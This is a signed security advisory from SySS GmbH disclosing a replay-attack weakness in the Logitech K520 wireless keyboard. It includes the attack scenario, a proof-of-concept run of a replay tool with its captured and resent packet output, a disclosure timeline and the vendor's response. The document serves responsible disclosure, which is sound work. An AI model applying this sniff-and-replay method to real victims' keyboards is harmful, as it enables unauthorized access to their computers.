-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2016-044 Product: K520 (Keyboard of Wireless Combo MK520) Manufacturer: Logitech Affected Version(s): Model Y-R0012 Tested Version(s): Model Y-R0012 Vulnerability Type: Cryptographic Issues (CWE-310) Insufficient Protection against Replay Attacks Risk Level: Medium Solution Status: Open Manufacturer Notification: 2016-05-20 Solution Date: - Public Disclosure: 2016-07-29 CVE Reference: Not yet assigned Authors of Advisory: Matthias Deeg and Gerhard Klostermeier (SySS GmbH) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Logitech Wireless Combo MK520 is a wireless desktop set consisting of a mouse and a keyboard. The manufacturer describes the product as follows (see [1]): "A keyboard and mouse that puts convenience and control comfortably at your fingertips" Due to an insecure implementation of the encrypted data communication, the wireless keyboard Logitech K520 is prone to replay attacks. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The SySS GmbH found out that the wireless keyboard Logitech K520 is prone to replay attacks. An attacker can sniff the AES-encrypted data packets of the 2.4 GHz radio communication sent by the keyboard to the receiver (USB dongle) and replay the recorded communication data at will causing the same effect as the original data communication. A replay attack against the keyboard can, for example, be used to gain unauthorized access to a computer system that is operated with a vulnerable Logitech K520 keyboard. In this attack scenario, an attacker records the radio communication during a password-based user authentication of his or her victim, for instance during a login to the operating system or during unlocking a screen lock. At an opportune moment when the victim's computer system is unattended, the attacker approaches the victim's computer and replays the previously recorded AES-encrypted data communication for the password-based user authentication and by this gets unauthorized access to the victim's system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The SySS GmbH could successfully perform a replay attack as described in the previous section using the USB radio dongle Crazyradio PA (see [2]) and a simple proof-of-concept software tool. The following output exemplarily illustrates a replay attack with the recorded data packets for the word "test". # python simple_replay.py Simple nRF24 Replay Tool v0.1 by Matthias Deeg - SySS GmbH (c) 2016 [*] Configure radio [*] Start recording. Press to stop recording ... [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00d30df6cb13eefa1096b1521ad400000000000000cd [+] Received data: 00400014ac [+] Received data: 00400014ac [+] Received data: 00400014ac [+] Received data: 00d3831cd42485427c59b1521ad50000000000000008 [+] Received data: 004f000116000000009a [+] Received data: 00d392de6925cb23d130b1521ad6000000000000004d [+] Received data: 00400014ac [+] Received data: 00400014ac [+] Received data: 00400014ac [+] Received data: 00d39624521a1284b7b5b1521ad70000000000000011 [+] Received data: 00d3013ee201adee2750b1521ad80000000000000004 [+] Received data: 00d396386b00d24c2028b1521ad90000000000000098 [+] Received data: 00400014ac [+] Received data: 00400014ac [+] Received data: 00d33044231b9bbf2c7bb1521ada0000000000000083 [+] Received data: 00d33044231b9bbf2c7bb1521ada0000000000000083 [+] Received data: 00d3cad8717ce1780928b1521adb000000000000001c [+] Received data: 004f000116000000009a [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00400116a9 [+] Received data: 00400116a9 ^C [*] Stop recording [*] Press to replay the recorded data packets or to quit ... [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00d30df6cb13eefa1096b1521ad400000000000000cd [+] Send data: 00400014ac [+] Send data: 00400014ac [+] Send data: 00400014ac [+] Send data: 00d3831cd42485427c59b1521ad50000000000000008 [+] Send data: 004f000116000000009a [+] Send data: 00d392de6925cb23d130b1521ad6000000000000004d [+] Send data: 00400014ac [+] Send data: 00400014ac [+] Send data: 00400014ac [+] Send data: 00d39624521a1284b7b5b1521ad70000000000000011 [+] Send data: 00d3013ee201adee2750b1521ad80000000000000004 [+] Send data: 00d396386b00d24c2028b1521ad90000000000000098 [+] Send data: 00400014ac [+] Send data: 00400014ac [+] Send data: 00d33044231b9bbf2c7bb1521ada0000000000000083 [+] Send data: 00d33044231b9bbf2c7bb1521ada0000000000000083 [+] Send data: 00d3cad8717ce1780928b1521adb000000000000001c [+] Send data: 004f000116000000009a [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00400116a9 [+] Send data: 00400116a9 [*] Press to replay the recorded data packets or to quit ... [*] Stop replaying [*] Done. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: The SySS GmbH is not aware of a solution for this reported security vulnerability. The manufacturer Logitech sent the SySS GmbH the following feedback: "Please thank them a lot of their notification and let them know that Logitech is working to provide a better encryption for future products." For further information please contact the manufacturer. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2016-05-20: Vulnerability reported to manufacturer 2016-05-20: Manufacturer acknowledges e-mail with SySS security advisory 2016-05-31: Manufacturer confirms reported security issue and sends a statement 2016-06-06: E-mail to manufacturer with question about a solution for current affected products 2016-06-09: E-mail from manufacturer with another statement concerning future and current products 2016-07-29: Public release of the security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Logitech Wireless Combo MK520 http://www.logitech.com/en-us/product/wireless-combo-mk520 [2] Product website for Crazyradio PA https://www.bitcraze.io/crazyradio-pa/ [3] SySS Security Advisory SYSS-2016-044 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-044.txt [4] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg and Gerhard Klostermeier of the SySS GmbH. E-Mail: matthias.deeg (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Matthias_Deeg.asc Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB E-Mail: gerhard.klostermeier (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Gerhard_Klostermeier.asc Key fingerprint = 8A9E 75CC D510 4FF6 8DB5 CC30 3802 3AAB 573E B2E7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBCgAGBQJXmxofAAoJENmkv2o0rU2rPf8P/2zx7k8sot0SaLQSrFZbZsZO gf3VrbcJRO0tyQ1ymMtk+jw1avqab1o+Bbz4tCuBe4/6TH7iBxCDoFJS63Uu65yF HS3Im/tr8X1iBSICSHiA4P8JjsiTftoAq85+YTHv/ifO93XjwulBAbCzafoFaGVk iCKllEI17TX5sP135YXCKAp+E2fsfGokaZ9xQtnAZKysWjSutfhOdAZCXitg0i+M ju3OxfLKWVB3Bwqyjk4C3V925Axzm30TjqyeHGbOo+lOs2BgOroDQy7Rx8rCiOBV d0GI7pvq6go7S6EctS3Wjtzy/+5QixKEj1eHmsy4c64hEylKMLJHlFlWEBFjMBq3 GgBEeC9Qb6XbKHr7k0beufracfGQ5cKnuG/kRjKuebCB0jC0QXmUpzu91qAWZaQN ElZ2FQoM6Sk+eQmVkmYFPjkjpmby3rfwmYQ7cpdeFd/6MpvBZ0MuHA86jySnAlyt bS2lCTcUZ/bBd1wOzHUjakuuZe6LrTjIP7Fb0Y3y9azYiti8b9SVsnEbZIH+xdYr QiH+dOrhjlK0RH3JWBOPddk3Aqt2aySyHxlaccKCCZqDwvGyLqvy43BqrwC2IZb2 kHbYyHqGk9uitmSKVOzegrgdpof3h7Ltv1zQXWS2zPzBNCvx2/pQweS5EmbV18gz OvWZEHzk0kyiwnjXrBJs =qt0z -----END PGP SIGNATURE-----